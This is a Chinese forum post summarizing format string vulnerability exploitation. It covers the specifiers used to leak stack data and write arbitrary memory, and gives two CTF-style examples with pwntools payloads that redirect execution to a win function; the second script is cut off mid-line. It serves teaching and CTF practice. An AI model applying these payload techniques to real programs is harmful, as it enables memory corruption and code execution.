论坛首页 漏洞分析研究区 阅读主题

[原创]格式化字符串漏洞总结

413 浏览 0 回复
#1 楼主 2026-06-01 21:09:06
格式化字符串漏洞
格式化字符串漏洞是由于程序在处理用户输入的格式化字符串时,没有正确验证输入内容,导致攻击者可以通过精心构造的格式化字符串来读取或写入内存中的任意数据,从而实现信息泄露或代码执行等攻击。
一般通过以下格式化符触发漏洞:

%N$x: 读取寄存器或栈上第N个数据并以十六进制格式输出
%N$p: 读取寄存器或栈上第N个数据并以指针格式输出
%N$s: 读取寄存器或栈上第N个地址并输出该地址指向的字符串;若出现在scanf中且未限制长度,则存在缓冲区溢出漏洞
%N$n: 将已经输出的字符数写入寄存器或栈上第N个地址指向的内存位置
%Nc: 打印一个字符并用空格填充到N个字符
%*N$c: 打印一个字符并用空格填充到width个字符,width的值从栈上第N个数据获取(int类型)

其中使用%N$x和%N$p可以泄露栈上的数据,而使用%N$s结合栈上的地址几乎可以进行任意地址读;使用%Nc与%N$n再结合栈上的地址可以实现任意地址写。
对于栈上构造地址,一般有两种情况:

一是可以直接对栈进行写操作,则可以直接将地址写入栈中;
而当无法直接写入栈时(比如只能向.bss段写入数据),即非栈格式化字符串的情况,则可以通过间接构造的方式来实现任意地址读写(需要至少存在二级栈指针):先在栈中找到一个可控栈指针,其指向另一个可控栈指针,之后根据需要进行进一步的利用:
如果只需读写栈上的值(如返回地址),则直接通过一级指针改写二级指针的低字节使其指向栈中目标地址,然后通过改写后的二级指针进行读写即可;
如果需要读写非栈地址(如got表等),需要先通过一级栈指针改写二级栈指针的低字节从0x00到0x08遍历扫描, 同时通过二级栈指针在其指向的栈地址处从低地址到高地址逐字节构造出任意目标地址(即三级指针), 最后通过格式化字符串对构造出的该任意地址指向的内容进行读写。


此外,对于%Nc和%N$n的使用,还需要注意有时远程环境会限制输出的字符数,因此在写入较大数值时,可以通过分多次写入的方式来实现。如使用hn或hhn来分别写入2字节或1字节的数据,以代替lln或n一次性写入8字节或4字节的数据。
例一:栈格式化字符串
int main() {
char format[264]; // [rsp+0h] [rbp-110h] BYREF
setup();
puts("tell me what you want to say:");
printf("\n> ");
strcpy(format, "That's what you want to say... ");
read(0, &format[34], 0x100uLL);
printf(format);
puts("\nthat's it? boring... bye");
exit(1);

题目很简单,读取输入进栈中然后拼接格式化字符串进行输出,题目还额外给了win函数,则可以在栈中直接写入exit函数的got表地址,然后利用任意地址写将其中的地址改为win函数地址。
这里简单介绍一下exp的写法。正常来说,通过%Nc输出字符数至我们需要的值, 然后通过%N$n将字符数写入目标指针指向的地址即可。这里需要注意的是,栈中前34个字节已经被固定字符串占用,因此我们需要将win函数地址减去34再进行写入:
win = elf.symbols['win']
exit_got = elf.got['exit']
payload = b"%" + str(win - 34).encode() + b"c%12$lln" + p64(exit_got)

而有时我们不需要写入全部的值,比如这里的exit函数中got表的地址还未被动态链接修改,其中存放的仍是exit函数的plt地址,与win函数地址的高位部分是相同的,因此我们只需要写入低两字节即可:
payload = b"%" + str((win & 0xffff) - 34).encode() + b"AAAc%12$hn" + p64(exit_got)

若两字节地址所需输出的字符数量对环境来说仍然过大,可以分两次写入:
payload = b"%" + str((win & 0xff) - 34).encode() + b"AAAAAc%12$hn" + p64(exit_got) + \
b"%" + str((((win >> 8) & 0xff) - (win & 0xff) + 14) & 0xff).encode() + b"AAAAAAc%15$hn" + p64(exit_got + 1)

pwntools中也提供了fmtstr_payload函数来简化格式化字符串的构造:

例二:非栈格式化字符串
题目如下:
char global_buffer[256];
int main() {
memset(global_buffer, 0, sizeof(global_buffer));
puts("说话!");
read(0, global_buffer, 0xFF);
printf(global_buffer);
} while (strcmp(global_buffer, "end\n"));
return 0;

题目中输入的格式化字符串被读入到了.bss段的global_buffer中,因此无法直接在栈上构造地址进行任意地址读写。这里我们可以通过间接构造的方式来实现:
p = process(bin)
# p = gdb.debug(bin)

# 泄露目标栈指针地址
p.sendafter("说话!\n".encode(), b"%6$p")
ret_addr = int(p.recv(14)[-4:], base=16) - 0x98
print(hex(ret_addr))

# 泄露win函数地址
p.sendafter("说话!\n".encode(), b"%11$p")
win = int(p.recv(14), base=16) - 0x38a + 0x289
print(hex(win))

# 在栈中通过栈指针构造指向返回地址的指针(逐两字节构造并写入)
p.sendafter("说话!\n".encode(), b"%" + str(ret_addr).encode() + b"c%6$hn")
p.sendafter("说话!\n".encode(), b"%" + str(win & 0xffff).encode() + b"c%26$hn")

p.sendafter("说话!\n".encode(), b"%" + str(ret_addr+2).encode() + b"c%6$hn")
p.sendafter("说话!\n".encode(), b"%" + str((win & 0xffff0000)

...(已截断)

---
来源: 看雪论坛
原文链接: https://bbs.kanxue.com/thread-291076.htm

暂无回复,快来抢沙发吧!

请登录后参与讨论

立即登录 注册账号